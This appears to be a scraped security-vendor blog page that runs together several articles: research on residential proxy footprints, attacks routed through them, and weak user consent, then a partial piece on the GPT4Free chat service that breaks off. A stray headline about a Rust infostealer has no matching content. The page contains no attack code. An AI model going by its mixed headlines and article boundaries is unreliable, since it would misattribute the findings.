From Attribution to a Technical Breakdown of a Rust Infostealer

Warden Stealer: The Rapid Rise of an Infostealer with an Appetite for AI Agent Data

Security Evangelist at Gen

You install an app that offers a reward, a premium feature or perhaps a little money in exchange for sharing some of your unused internet bandwidth. It sounds harmless enough. Your connection is idle most of the time anyway.What may be less obvious is what that arrangement can mean in practice. Traffic from someone else can leave the internet through your home connection, using your residential IP address. To the website receiving that traffic, it can look as though the request came from you. And if that traffic is malicious or abusive, it is your home IP address that is associated with it.That is the basic idea behind a residential proxy. Businesses use them for perfectly legitimate purposes, from price monitoring and ad verification to web scraping and <a href="https://www.gendigital.com/blog/insights/research/the-ai-data-race">AI data collection</a>. But the model depends on something that is easy to overlook: every residential IP being sold has to belong to a real connection somewhere.We wanted to look at that side of the market.How many computers we protect are actually running software associated with residential proxy networks? Where are they? Which providers have the largest footprint? Are those residential proxy networks being misused?&nbsp;&nbsp;What kinds of threats are involved, and do they look the same from one provider to another?And before we looked at any of that, we asked an even more basic question: do people actually understand what they are agreeing to?

KEY TAKEAWAYS<ul type="disc"><li data-list-item-id="e725035ce634bc551d23eb087fcd37396">We blocked 20.8 million attacks associated with residential proxy ecosystems between January and mid-September 2026. Phishing was the most prominent threat classification, with 5.15 million blocked attacks, followed by 1.26 million involving malvertising.&nbsp;</li><li data-list-item-id="ec59d16726c7bd071fbc01940b1615690">The geography of malicious activity does not simply mirror the geography of residential proxy installations. The United States ranked only 10th in our September snapshot of active residential proxy software, with around 56,000 users, but 4th in blocked malicious activity, with more than 1.1 million attacks.&nbsp;</li><li data-list-item-id="e98fe79ebb34c1567cb95df881e50cfc9">The residential proxy footprint we observe is highly concentrated. Bright Data, Hola and NetNut account for around 94% of the active provider footprint in our Windows telemetry, although their geographic distributions differ substantially.&nbsp;</li><li data-list-item-id="ed7cfcec5f4de647ba0c48381878a0edc">There is no single residential proxy threat profile. Some provider ecosystems are dominated by phishing and malvertising, while others show much stronger associations with droppers, file infectors, worms or trojans.&nbsp;</li><li data-list-item-id="ebf754ed261a74226c83755f05a864955">Most US consumers do not really understand what residential proxies do. Only 8.8% of respondents correctly identified how they work, while 17.2% said they currently use an app that rewards them for sharing unused bandwidth. Once the behavior was explained, 76.5% said they would be concerned about third parties routing traffic through their home connection.&nbsp;</li></ul>

<h2>We started with the machines</h2>Our installation telemetry identified software associated with 18 residential proxy providers on active Windows systems we protect. The first thing that stood out was concentration. Bright Data, whose customers include NBCUniversal, Deloitte, and McDonalds, had by far the largest footprint, with an estimated 1.47 million active users in our September snapshot. Hola followed with approximately 664,000, and NetNut with around 474,000. After those three, the numbers fall quickly: Honeygain was at about 68,000 active users and Infatica at roughly 56,000, while no other provider in our current dataset reached 11,000.Taken together, Bright Data, Hola and NetNut account for roughly 94% of the combined provider footprint we observed. These numbers give us a view of the supply side, the computers that can contribute residential connectivity to these networks.

The geography is just as interesting. India had the largest combined residential proxy footprint in our snapshot, with approximately 294,000 active user observations. Vietnam followed at around 177,000, Ukraine at 132,000, Brazil at 131,000 and the Philippines at 97,000. The United States ranked tenth, at approximately 56,000.Individual providers have very different geographic fingerprints. Bright Data appeared across 153 countries and territories, with its largest concentrations in India, Vietnam and Brazil. Hola was also led by India and Vietnam. NetNut looked very different: Ukraine accounted for around 60,000 active users associated with its software, followed by India at around 34,000. Honeygain was strongest in Brazil and the Philippines, while Infatica was led by Ukraine and India. Residential proxy providers may sell access to a global pool, but the capacity underneath each network is not distributed in the same way.

<h2>Windows is only one part of the picture</h2>Our telemetry deliberately focuses on identifiable applications running on Windows that are associated with residential proxy networks. It does not attempt to measure proxy SDKs embedded inside other applications, nor devices running Android, smart TVs, routers or other connected hardware. The footprint in this research should therefore be read as the part of the ecosystem we can measure consistently, not as its total size.That wider ecosystem is not theoretical. In 2026, researchers at Spur examined more than 6,000 apps for LG webOS and Samsung Tizen smart TVs and found residential proxy SDKs in roughly a third of them. <a href="https://krebsonsecurity.com/2026/07/lg-to-ban-residential-proxies-from-smart-tv-apps/">LG</a> and <a href="https://techcrunch.com/2026/08/03/samsung-bans-smart-tv-apps-that-share-users-internet-connections-with-strangers/">Samsung</a> subsequently moved to restrict or remove apps containing residential proxy functionality from their TV platforms.&nbsp;Mobile connectivity extends the ecosystem beyond the Windows applications covered in this research. Residential and mobile proxy infrastructure can also be built using SIM cards and banks of cellular modems, providing IP addresses from mobile networks rather than fixed broadband connections. There are more advanced ways of extracting additional usable addresses from mobile connectivity too, but that is an area we would want to research separately before drawing conclusions.What we see on Windows is therefore not the residential proxy ecosystem. It is one window into it.<h2>Then came the security question: what is flowing through these networks?</h2>The presence of malicious traffic does not mean that a residential proxy provider is responsible for that activity. Legitimate infrastructure is routinely abused by bad actors, and larger networks naturally provide more opportunities for misuse. Our data shows what we observed and blocked through these networks, not that the providers themselves generated or knowingly enabled the activity.Mapping the software tells us where part of the residential proxy supply comes from, but it does not tell us how the networks are being used. We therefore looked at malicious traffic our protections blocked from the residential proxy providers in the study between January and mid-September 2026.The total was 20.8M distinct blocked attacks. Bright Data alone was associated with 17.336,419 of them, affecting 771,159 protected users (computers running the residential proxy through which the malicious traffic was routed). That is about 83% of all provider-level blocked attacks in this dataset. Honeygain was a distant second by attack volume, with 1,265,540 blocked attacks affecting 51,271 users. NetNut was associated with 789,668 attacks affecting 663,426 users, Tuxler with 571,810 attacks across 19,184 users, and Hola with 406,415 across 170,577 users.Those numbers are not a ranking of which provider is 'most dangerous'. A larger network has more opportunities to appear in telemetry, and the installation snapshot and the attack data cover different periods.&nbsp;Even within the affected population, repetition varies sharply. Bright Data averaged about 22.5 distinct blocked attacks per protected user over the period, Honeygain about 24.7 and Tuxler about 29.8.<h2>Phishing leads overall, but the threat mix varies</h2>When we group the blocked activity by threat type, phishing is the most prominent classification by a wide margin, appearing in more than 5.15 million provider-category attack observations. Malvertising follows at about 1.26 million, then trojans at roughly 667,000. E-shop scams account for around 388,000 category observations, file infectors for about 329,000 and droppers for more than 173,000.These categories overlap. A single malicious event can trigger more than one classification, so the category figures must not be added together or presented as pieces of a 100% distribution.&nbsp;

Bright Data accounts for most of the phishing volume in absolute terms. We blocked almost 4.63 million phishing-classified attacks associated with the network, affecting 523,696 protected users. Roughly 68% of all users we protected from Bright Data-associated attacks encountered at least one phishing-classified event. Malvertising affected another 314,784 users, trojans 182,422 and e-shop scams 165,007.Honeygain and Tuxler show a similar concentration in phishing and other web-based threats. Phishing affected around 33,600 Honeygain users, close to two-thirds of its protected population, while Tuxler had phishing detections for more than 15,000 of its 19,184 protected users, around 80%.Hola and NetNut look very different. Hola's leading classifications were worms, trojans and file infectors, affecting approximately 54,000, 50,000 and 45,000 protected users respectively. With NetNut, droppers affected around 88,700 protected users and file infectors around 76,700, while phishing was comparatively limited. Microleaves/Shifter also showed a strongly file-oriented profile, led by file infectors, droppers and adware.That variation is one of the more useful findings in the data. 'Residential proxy abuse' is often discussed as a single category, but the traffic we block does not look homogeneous. Different provider ecosystems are associated with substantially different mixes of phishing, scams and malware.<h2>Where we blocked the attacks</h2>India recorded the largest volume of blocked attacks associated with residential proxy ecosystems in our country-level data, at about 1.76 million. Brazil followed at roughly 1.50 million, Vietnam at 1.32 million, the United States at 1.14 million and France at just under 990,000. The next group included the Philippines, Indonesia, Poland, Spain and Ukraine.The geography of malicious traffic does not simply follow the size of the residential proxy footprint. The United States and France stand out in particular. The US ranked only 10th in our September snapshot of active residential proxy installations, with around 56,000 users, but 4th in blocked malicious activity, with more than 1.1 million attacks routed through residential proxy nodes there. France shows a similar pattern, with a relatively modest installation footprint but almost one million blocked attacks.One explanation is that residential IP addresses in Western markets are especially useful to attackers trying to blend in with the consumers or services they are targeting. Traffic coming from a US residential IP, for example, may look less unusual to a US service than the same request coming from a distant geography or a data center.&nbsp;

CASE STUDY: NETNUTWhat remains after a network is disruptedNetNut deserves separate treatment because events in 2026 changed the status of the network itself. NetNut is a subsidiary of Alarum Technologies, a publicly traded company listed on Nasdaq and the Tel Aviv Stock Exchange.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075116/ea029701101ex99-1.htm">On July 2, Alarum disclosed</a> that the FBI had seized domains associated with NetNut.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075179/ea029704201ex99-1.htm">Additional domains were subsequently seized, services were disrupted</a>, and Alarum later&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075170/ea029706002ex99-3.htm">announced a temporary pause</a> of traffic through the affected network services while it investigated the incident.<a href="https://cloud.google.com/blog/topics/threat-intelligence/google-continued-disruption-residential-proxy-networks">Google Threat Intelligence Group</a>, which took action in coordination with the FBI, Lumen and others, described NetNut as a residential proxy network also known as Popa. Google estimated it at least two million devices worldwide and said it observed 316 distinct threat clusters using suspected NetNut exit nodes during a single week in June, including cybercriminal and espionage groups. Google also said it had high confidence that many residential proxy brands were white-labeling the NetNut network.Legal and corporate consequences followed.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026089059/ea0301943-6k_alarum.htm">Alarum disclosed proceedings in Israel and a US class action complaint filed in New Jersey</a>. The company said it was reviewing the proceedings with its legal advisers and intended to defend itself vigorously. The claims in those proceedings are allegations, not established findings.Our telemetry adds a different piece to the story. In the first half of September, around two months after the law-enforcement action, we still observed software associated with NetNut on approximately 474,000 active Windows systems. At the same time, we did not observe corresponding NetNut proxy traffic from those installations. That is consistent with Alarum’s July announcement that traffic through the affected services had been paused.In other words, the software footprint remained, but the proxy activity did not. Domains can be seized quickly; software distributed across hundreds of thousands of computers does not disappear with them.

<h2>Confidence is much higher than understanding</h2>Against that telemetry, the results of our US survey become particularly revealing. In July 2026, we asked 1,000 adults what they knew about residential proxies and bandwidth sharing. At first glance, awareness did not look terrible: 13.9% said they understood what residential proxies were and how they worked, while another 13.2% said they had a basic idea. Combined, 27.1% believed they understood the technology to some degree.We then tested that understanding. Among the respondents who said they understood residential proxies, only 32.3% selected the correct explanation: that a residential proxy allows other people or companies to route internet traffic through a real user's home internet connection. Across the full sample, that leaves just 8.8% of US adults who both claimed some understanding and chose the correct definition.The terminology may be obscure, but the business model is more familiar. Some 17.2% of respondents said they currently use an app offering rewards, money, premium features or free access in exchange for sharing unused internet bandwidth, and another 12.2% said they had used one in the past. The survey was not designed to determine whether those specific apps were part of residential proxy networks, but the gap is striking: almost twice as many respondents said they currently use a bandwidth-sharing app as could correctly explain what a residential proxy does.

The mismatch becomes clearer when we describe the behavior rather than the industry term. Only 25.1% expected 'sharing unused bandwidth' to mean that other people or companies might access websites through their home IP address, while 26.0% understood that their device could appear to websites as the source of somebody else's internet activity. Almost a third, 31.6%, said they would not know what the phrase meant.When we asked how concerned people would be if an app allowed third parties to route internet traffic through their home connection, 76.5% said they would be very or somewhat concerned. Among that group, 55.5% worried about their home IP address being associated with suspicious or illegal activity, 51.5% about privacy, and 41.1% about accounts or services being blocked because suspicious traffic appeared to come from their IP address.Those fears line up closely with the reason residential proxies are useful in the first place. Traffic inherits the characteristics and reputation of an ordinary consumer connection. For legitimate customers, that can make large-scale data collection or geographic testing possible. For an attacker, the same property can make malicious activity harder to distinguish from normal residential traffic. Our telemetry does not tell us whether any particular survey respondent's connection was used that way, but the 20.8 million attacks we blocked show that malicious use of residential proxy infrastructure is far from theoretical.Asked whether they would install an app that allowed third parties to route traffic through their home connection in return for a small reward or free access, 53.4% said no. Another 26.7% said maybe, if the app was clear about what it did, and 20.0% said they definitely would. The survey covers US adults only, so these percentages should not be projected globally, but they underline a basic communication problem: 'share unused bandwidth' sounds very different from 'allow somebody else's traffic to leave the internet through your home IP address.'<h2>Consent, contracts and promises</h2>Residential proxy services have legitimate customers, and there are consumers who knowingly choose to exchange bandwidth for money, rewards or free services. The presence of residential proxy software on a machine, or even malicious traffic on a provider's network, does not by itself prove that a provider misled users or failed to enforce its policies.Consent is still more complicated than a checkbox. There may be a proxy customer, a proxy provider, an application developer embedding an SDK, the consumer whose device supplies the residential IP, and an internet service provider whose connection is ultimately being used. Each relationship can carry different promises and restrictions.Some residential ISP agreements, for example, explicitly restrict this kind of sharing. <a href="https://www.verizon.com/support/fios-customer-agreement/">Verizon's current Fios terms</a> state that subscribers may not resell, re-provision or rent the service, or allow third parties outside normal guest Wi-Fi use to use it, and tell customers they are responsible for opting out of connected-device features that would violate those terms. That does not mean residential proxy software automatically breaches an ISP contract; terms vary by provider, country and service. It does show that the consumer's click on an application consent screen may not be the only agreement that matters.The industry also makes broader promises around ethical sourcing, informed consent, customer vetting and abuse prevention. Those promises are increasingly becoming testable rather than purely rhetorical. In July, the <a href="https://www.amtso.org/news/amtso-testing-app-promises-guideline-paper-preprint-for-public-review/">Anti-Malware Testing Standards Organization, AMTSO, published a draft framework</a> for testing the explicit and implied promises made by applications and services. The draft has completed public review and is moving through final approval.Residential proxies are one of the <a href="https://www.amtso.org/wp-content/uploads/2026/07/AMTSO_App_Promises_Testing_Guidelines_Draft_For_Review.pdf">worked examples in the draft</a>. It specifically discusses testing claims around sourcing and consent, preventing abuse and misuse, protecting the consumer endpoint, and the fact that the paying proxy customer is not the same person as the consumer whose device or connection is being used. Gen participated in the working group that produced the draft.Our research is not a compliance test against that framework, and the presence of malicious activity is not evidence by itself that a provider has broken a promise. What our data does show is why those promises deserve scrutiny. When a business depends on millions of residential IP addresses and sells access to third parties, questions about where those endpoints came from, what users agreed to and what controls are in place are part of the security model, not just the marketing.<h2>Trust is no longer enough</h2>Residential proxies are not going away. If anything, the demand for them is likely to grow as AI companies, data businesses and automated agents need more ways to access the public web at scale without every request coming from a data center.That makes the questions around these networks more important, not less.A residential proxy provider can say that its endpoints are ethically sourced, that users have consented, that customers are vetted and that abuse is controlled. Those are reasonable promises to make. But once a network reaches millions of devices and carries traffic on this scale, they should also become promises that can be independently tested.Our data does not show that residential proxy networks are inherently malicious. It shows something more useful: legitimate infrastructure can still carry a substantial amount of malicious activity, the threat profile can vary enormously from one network to another, and the people supplying the residential connections often understand far less about the technology than the industry around them does.That creates responsibilities on both sides of the market.Customers buying residential access should care about where those IP addresses came from and what controls exist around the network they are using. Providers should be able to demonstrate how endpoints are sourced, what users agreed to, how abuse is detected and what happens when those controls fail. And consumers should be told, in language they can actually understand, what it means when an application asks them to "share unused bandwidth."The residential proxy industry has spent years making it easier to buy access to someone else's IP address.The next challenge is proving that everyone involved understands, and can trust, what happens after that access is sold.<h2>Methodology</h2><h3>Installation telemetry</h3>Gen Threat Labs developed telemetry to identify Windows software associated with selected commercial residential proxy providers. The installation data used in this research covers active systems observed between September 1 and September 15, 2026.The figures in the article are active-user populations derived from Gen telemetry. A computer had to be active and connected during the observation period to appear. User counts in the provider, software-path and country views used in the analysis are deduplicated within those views.The installation data represents the Gen Windows user population. It should not be interpreted as a census of every residential proxy endpoint worldwide or as a measure of commercial market share.Disclosure: Gen uses Bright Data proxy and browser infrastructure in some privacy and reputation services. Bright Data had no involvement in this research, and the findings are based on Gen Threat Labs telemetry and security detections.<h3>Malicious traffic</h3>The malicious-traffic analysis covers January through mid-September 2026 and focuses on attacks associated with the residential proxy providers included in the study.Protected users are unique users for whom Gen blocked at least one attack associated with a provider. Blocked attacks are deduplicated at the malicious-event level, so multiple detections triggered by the same event do not inflate the provider-level total.For the geographic view of malicious activity, country refers to the location of the residential proxy exit node.&nbsp;<h3>Appendix: Key telemetry data</h3>Installation telemetry in this appendix refers to Gen-protected Windows users on whose devices we observed software associated with residential proxy providers during the research period. These figures are not provider-reported user or installation counts.

A. Largest residential proxy provider footprints<table class="table"><tbody><tr><td>Provider</td><td>Active users</td></tr><tr><td>Bright Data</td><td>1.47M</td></tr><tr><td>Hola</td><td>664K</td></tr><tr><td>NetNut</td><td>474K</td></tr><tr><td>Honeygain</td><td>68K</td></tr><tr><td>Infatica</td><td>56K</td></tr><tr><td>SOAX</td><td>10K</td></tr><tr><td>IPRoyal</td><td>7.9K</td></tr><tr><td>Tuxler</td><td>6.3K</td></tr><tr><td>PacketStream</td><td>5.3K</td></tr><tr><td>TraffMonetizer</td><td>3.0K</td></tr></tbody></table>B. Countries with the largest combined residential proxy footprint<table class="table"><tbody><tr><td>Country</td><td>Active user observations</td></tr><tr><td>India</td><td>294K</td></tr><tr><td>Vietnam</td><td>177K</td></tr><tr><td>Ukraine</td><td>132K</td></tr><tr><td>Brazil</td><td>131K</td></tr><tr><td>Philippines</td><td>97K</td></tr><tr><td>Indonesia</td><td>89K</td></tr><tr><td>Poland</td><td>74K</td></tr><tr><td>Thailand</td><td>62K</td></tr><tr><td>Mexico</td><td>57K</td></tr><tr><td>United States</td><td>56K</td></tr></tbody></table>&nbsp;C. Leading install countries by provider<table class="table"><tbody><tr><td>Provider</td><td>No. 1</td><td>No. 2</td><td>No. 3</td></tr><tr><td>Bright Data</td><td>India</td><td>Vietnam</td><td>Brazil</td></tr><tr><td>Hola</td><td>India</td><td>Vietnam</td><td>Brazil</td></tr><tr><td>NetNut</td><td>Ukraine</td><td>India</td><td>Kazakhstan</td></tr><tr><td>Honeygain</td><td>Brazil</td><td>Philippines</td><td>India</td></tr><tr><td>Infatica</td><td>Ukraine</td><td>India</td><td>Philippines</td></tr><tr><td>SOAX</td><td>Uzbekistan</td><td>Kazakhstan</td><td>South Korea</td></tr><tr><td>IPRoyal</td><td>France</td><td>Netherlands</td><td>Belgium</td></tr><tr><td>Tuxler</td><td>Poland</td><td>Argentina</td><td>United Kingdom</td></tr><tr><td>PacketStream</td><td>India</td><td>Dominican Republic</td><td>Brazil</td></tr><tr><td>TraffMonetizer</td><td>Argentina</td><td>Philippines</td><td>Hong Kong</td></tr></tbody></table>&nbsp;D. Blocked attacks by provider ecosystem, top 5<table class="table"><tbody><tr><td>Provider ecosystem</td><td>Blocked attacks</td></tr><tr><td>Bright Data</td><td>17.3M</td></tr><tr><td>Honeygain</td><td>1.27M</td></tr><tr><td>NetNut</td><td>790K</td></tr><tr><td>Tuxler</td><td>572K</td></tr><tr><td>Hola</td><td>406K</td></tr></tbody></table>Absolute attack volume is influenced by network size and should not be interpreted as a ranking of provider risk.E. Most common threat classifications<table class="table"><tbody><tr><td>Threat category</td><td>Blocked attack observations</td></tr><tr><td>Phishing</td><td>5.15M</td></tr><tr><td>Malvertising</td><td>1.26M</td></tr><tr><td>Trojan</td><td>667K</td></tr><tr><td>Miscellaneous</td><td>408K</td></tr><tr><td>E-shop scam</td><td>388K</td></tr><tr><td>File infector</td><td>329K</td></tr><tr><td>Dropper</td><td>173K</td></tr><tr><td>Generic scam</td><td>113K</td></tr><tr><td>Worm</td><td>66K</td></tr><tr><td>Financial scam</td><td>47K</td></tr></tbody></table>&nbsp;F. Leading threat types by provider ecosystem<table class="table"><tbody><tr><td>Provider ecosystem</td><td>Leading type</td><td>Second</td><td>Third</td></tr><tr><td>Bright Data</td><td>Phishing</td><td>Malvertising</td><td>Trojan</td></tr><tr><td>Honeygain</td><td>Phishing</td><td>Malvertising</td><td>E-shop scam</td></tr><tr><td>NetNut</td><td>Dropper</td><td>File infector</td><td>Trojan</td></tr><tr><td>Tuxler</td><td>Phishing</td><td>Malvertising</td><td>Trojan</td></tr><tr><td>Hola</td><td>Worm</td><td>Trojan</td><td>File infector</td></tr><tr><td>Microleaves / Shifter</td><td>File infector</td><td>Dropper</td><td>Adware</td></tr><tr><td>IPRoyal</td><td>Phishing</td><td>E-shop scam</td><td>Malvertising</td></tr><tr><td>ByteLixir</td><td>Phishing</td><td>E-shop scam</td><td>Trojan</td></tr><tr><td>Infatica</td><td>Phishing</td><td>Spyware</td><td>File infector</td></tr></tbody></table>Types are ordered by the number of protected users associated with each classification.&nbsp;G. Countries with the largest volume of blocked attacks<table class="table"><tbody><tr><td>Country</td><td>Blocked attacks</td></tr><tr><td>India</td><td>1.76M</td></tr><tr><td>Brazil</td><td>1.50M</td></tr><tr><td>Vietnam</td><td>1.32M</td></tr><tr><td>United States</td><td>1.14M</td></tr><tr><td>France</td><td>988K</td></tr><tr><td>Philippines</td><td>774K</td></tr><tr><td>Indonesia</td><td>691K</td></tr><tr><td>Poland</td><td>519K</td></tr><tr><td>Spain</td><td>518K</td></tr><tr><td>Ukraine</td><td>481K</td></tr></tbody></table>&nbsp;

Inside the hidden supply chain of residential proxies

Your IP, Their Traffic 

An ordinary home connection can now form part of a much larger data collection network, sometimes through an app installed for a completely different reason.&nbsp;AI models were first associated with enormous collections of text, but today's systems need far more: current search results, product catalogues, images, music, video, live websites and almost anything else that can make them more capable or keep their answers up to date. Training is only part of the demand. Shopping assistants, research tools and other AI agents need to return to the web continuously if they are to work with current information.&nbsp;Collecting all of that data is not straightforward. Website operators impose rate limits, block known datacenter addresses and use anti-bot systems to identify automated activity. A crawler operating from a cloud server is relatively easy to spot. Traffic coming from an ordinary home connection is much harder to reject without also blocking legitimate visitors.&nbsp;Residential proxy networks offer a way around those controls by routing requests through IP addresses assigned to real households. The website sees what appears to be an ordinary visitor in a particular country, city or network, which is precisely what makes the connection valuable to the buyer.&nbsp;The person paying for that connection may see a very different proposition: install an app, share some "unused bandwidth" and receive money, rewards or free access in return. The screen may explain that the app will use spare resources, but say little about who will use the connection, which websites they will visit or why a residential IP address is worth paying for.&nbsp;

<h2>Why AI companies want residential IP addresses&nbsp;</h2>Once an AI product depends on live information, web access becomes part of the product itself. A shopping assistant is of limited use if it cannot see today's prices and stock, while a research agent has to open pages and follow links as it works. The same problem applies to systems handling audio, images and video.&nbsp;Many websites do not welcome automated collection at that scale. They throttle repeated requests, challenge suspicious sessions and block addresses associated with data centers or known automation. Residential proxies spread those requests across household connections, making them much harder to separate from normal browsing.&nbsp;This is no longer a niche use case hidden in technical documentation. Several large proxy providers now give AI its own product pages, integrations and commercial programmes.&nbsp;<a href="https://brightdata.com/ai/web-access" target="_blank" rel="noreferrer noopener">Bright Data</a> promotes infrastructure for model training, retrieval, multimodal datasets and web access for AI agents. It claims access to more than 400 million residential IP addresses and presents its services as a way to overcome CAPTCHAs, rate limits and blocked requests.&nbsp;<a href="https://oxylabs.io/solutions/ai-web-search" target="_blank" rel="noreferrer noopener">Oxylabs</a> sells proxy and scraping infrastructure for real-time AI search and agents, while <a href="https://soax.com/use-cases/ai-datasets" target="_blank" rel="noreferrer noopener">SOAX</a> recommends rotating residential proxies for collecting product data, prices, listings and AI training sets. <a href="https://decodo.com/data-ai-training" target="_blank" rel="noreferrer noopener">Decodo</a> markets residential proxies and scraping tools for AI training and live agents. <a href="https://iproyal.com/use-cases/ai-training/" target="_blank" rel="noreferrer noopener">IPRoyal</a> describes rotating residential proxies as infrastructure for large-scale AI data collection.&nbsp;The network sizes are the companies' own figures and should be read as marketing claims rather than independent measurements. Even so, the pitch across the industry is remarkably consistent: household IP addresses help automated systems reach websites that resist datacenter traffic.&nbsp;The Suno leak offered a rare look at how this can work from the customer's side. <a href="https://ddosecrets.org/article/suno-ai-source" target="_blank" rel="noreferrer noopener">Distributed Denial of Secrets</a> published more than 100 repositories attributed to the AI music company, saying the material showed that Suno collected music and related information from YouTube, Genius and Deezer with assistance from Bright Data. <a href="https://www.404media.co/hack-reveals-suno-ai-music-generator-scraped-youtube-deezer-and-genius/" target="_blank" rel="noreferrer noopener">404 Media</a> reported that one file referred to 2,013,545 YouTube Music clips, while comments in other files described datasets containing hundreds of thousands of hours of audio.&nbsp;<h2>How household connections enter the supply chain&nbsp;</h2>A residential network can only offer household IP addresses if real devices supply them. Some people deliberately install bandwidth-sharing or "passive income" tools. In other cases, the proxy component sits inside a free app whose visible purpose has nothing to do with routing somebody else's traffic.&nbsp;<a href="https://spur.us/blog/smart-tv-apps-residential-proxy-sdks" target="_blank" rel="noreferrer noopener">Spur Intelligence</a> scanned 6,038 applications across LG webOS and Samsung Tizen and reported residential proxy functionality in 2,058 of them. The list included games, screensavers and utilities, exactly the sort of apps someone could install without expecting the television to become part of a commercial proxy network.&nbsp;Televisions are useful proxy nodes because they remain online for long periods and few people inspect what is running in the background. Someone may accept a prompt once, forget about it and continue using the television while the proxy component remains active. <a href="https://www.mnemonic.io/resources/blog/samsungs-recommendation-rent-out-your-tvs-internet-connection/" target="_blank" rel="noreferrer noopener">Researchers at Mnemonic</a> found that, once enabled, the Bright Data SDK in some Samsung apps activated a background service that continued running after the user navigated away from the app.&nbsp;The television manufacturers have since responded. <a href="https://krebsonsecurity.com/2026/07/lg-to-ban-residential-proxies-from-smart-tv-apps/" target="_blank" rel="noreferrer noopener">LG</a> said it would suspend webOS apps whose developers failed to remove residential proxy functionality. <a href="https://techcrunch.com/2026/08/03/samsung-bans-smart-tv-apps-that-share-users-internet-connections-with-strangers/" target="_blank" rel="noreferrer noopener">Samsung</a> has restricted new app registrations containing proxy components, is introducing a platform-wide ban on residential proxy SDKs and says it is identifying and removing existing apps that contain them.&nbsp;Whatever an individual consent screen may say, these companies have decided that residential proxy functionality does not belong in apps distributed through their smart TV platforms.&nbsp;<h2>What "unused bandwidth" does not tell you&nbsp;</h2>The phrase sounds harmless. Most people will understand it as capacity that is sitting idle, not as permission for paying customers to visit websites through their IP address.&nbsp;That IP address is what gives the connection its commercial value. It allows a proxy customer to make requests that websites see as coming from a household rather than a datacenter. Describing the arrangement only in terms of bandwidth leaves out the part that buyers are actually paying for.&nbsp;The amount of traffic can also be difficult to judge from a consent screen. In the Petflix Roku app, the screen said Bright Data would <a href="https://blog.includesecurity.com/2026/06/the-smart-tv-in-your-livingroom-is-a-node-in-the-aiscraping-economy/" target="_blank" rel="noreferrer noopener">"occasionally" use the device's free resources</a> and IP address to download public web data. Include Security found that the SDK's publicly accessible configuration set a maximum of 200 GB of Wi-Fi traffic per month. That setting does not tell us how much data a typical device transferred, but it does show how little the word "occasionally" tells the person being asked to agree.&nbsp;<h2>Residential proxy networks also carry malicious traffic&nbsp;</h2>Fraudsters use the same infrastructure for phishing, malicious advertising, automated account activity and malware distribution.&nbsp;In our <a href="https://www.gendigital.com/blog/insights/research/residential-proxies" target="_blank" rel="noreferrer noopener">previous research</a>, Gen telemetry recorded 7.4 million malicious incidents associated with residential proxy traffic since January 2026, affecting 572,000 users. Phishing and malicious advertising were the largest categories, followed by e-shop scams, financial scams and malware.&nbsp;Those figures do not measure the whole residential proxy market, and they do not mean that every affected user was running a proxy node. They cover malicious activity associated with residential proxy traffic that reached people protected by our products.&nbsp;When abusive traffic exits through a household connection, that address may be the first identifier seen by the outside world. The customer can stop using the proxy, but blocks or suspicion may remain attached to the household connection.&nbsp;<h2>What informed consent would require&nbsp;</h2>Residential proxy providers say their networks are ethically sourced and based on user consent. <a href="https://brightdata.com/trustcenter/sourcing" target="_blank" rel="noreferrer noopener">Bright Data</a>, for example, says devices join its network only after users agree through an approved app and consent screen.&nbsp;A user may click "accept" knowing that an app will use spare bandwidth and still have no idea that companies will route automated traffic through the connection. They may never be told that the traffic could involve AI training, web scraping or software agents visiting sites at scale.&nbsp;The consent screen should say that third parties will access websites through the user's home IP address. It should explain the main categories of use, show when the proxy is active and make it possible to switch the function off without losing control of the rest of the app. Users should also be told how much data the software is allowed to consume.&nbsp;Residential proxies do have legitimate uses, including ad verification, price comparison and testing how services appear in different locations. AI developers also need current public information. In any case, those uses do not justify vague consent.&nbsp;People do not need to know the term “residential proxy.” They do need to know that third parties may route traffic through their home connection, that websites will see their IP address, and how much data the software is allowed to consume. That should be clear before they click accept, not buried in terms they are unlikely to read.&nbsp;Calling it “unused bandwidth” does not change what the buyer is purchasing: access to a household IP address.&nbsp;

Residential proxy providers sell household IP access for AI data collection, but many users do not understand what that access involves. 

Is Your Home Internet Feeding the AI Data Race? 

Threat Analysis Engineer

At first, nothing about the conversation looks unusual. You open g4f.dev, choose one of the many AI models on offer, type a question and watch the answer appear. The exchange feels direct, almost private: you, the website and the model whose name you selected.&nbsp;We decided to follow the prompt. What looked like a simple conversation quickly became much more crowded, with GPT4Free infrastructure, provider code, third-party services and external model endpoints all potentially playing a part. Along the way, details about the request could be recorded together with the user’s IP address and approximate location, while the model named in the interface did not always match the model identified in the response.&nbsp;The strangest part came when we examined where some of those requests might be processed. The project includes lists of externally accessible Ollama systems, including servers on personal-looking domains and infrastructure associated with organizations or other services. Their relationship with GPT4Free is not made clear to the person whose prompt may be sent in their direction.&nbsp;This is not a story about every free AI service, and “free” is not in itself evidence of anything sinister. It is a look at one popular service and at how little a polished chatbot interface can reveal about the people, systems and data practices operating behind it.&nbsp;

<h2>We followed the prompt&nbsp;</h2>GPT4Free is a widely followed open-source project that can be installed locally, but it also operates a hosted chat service at g4f.dev. Our analysis concentrated on that hosted version, where visitors can choose from models carrying names associated with OpenAI, Google, Anthropic and other developers without creating separate accounts with those companies.&nbsp;

Behind that one interface sits a collection of providers, small pieces of code that take a chat request and adapt it to whatever the next service expects. Some lead towards official model endpoints, others recreate the web exchanges used by third-party AI sites, and some draw on custom servers. Routes that are technically very different become visually indistinguishable once they appear in the same model menu.&nbsp;Following the request therefore meant looking past the label in the interface. We compared the model chosen by the user with the provider selected by GPT4Free, the request sent onwards and the identifier returned with the answer. That was when the apparently straightforward conversation began to come apart.&nbsp;<h2>The model we chose was not always the model that answered&nbsp;</h2>Several of our tests used options associated with the Gemini provider. The prompts travelled through an OpenAI-compatible chat endpoint on g4f.space before being directed to Google’s Gemini infrastructure, but in some of those exchanges the model named in the response differed from the one we had selected in GPT4Free.&nbsp;

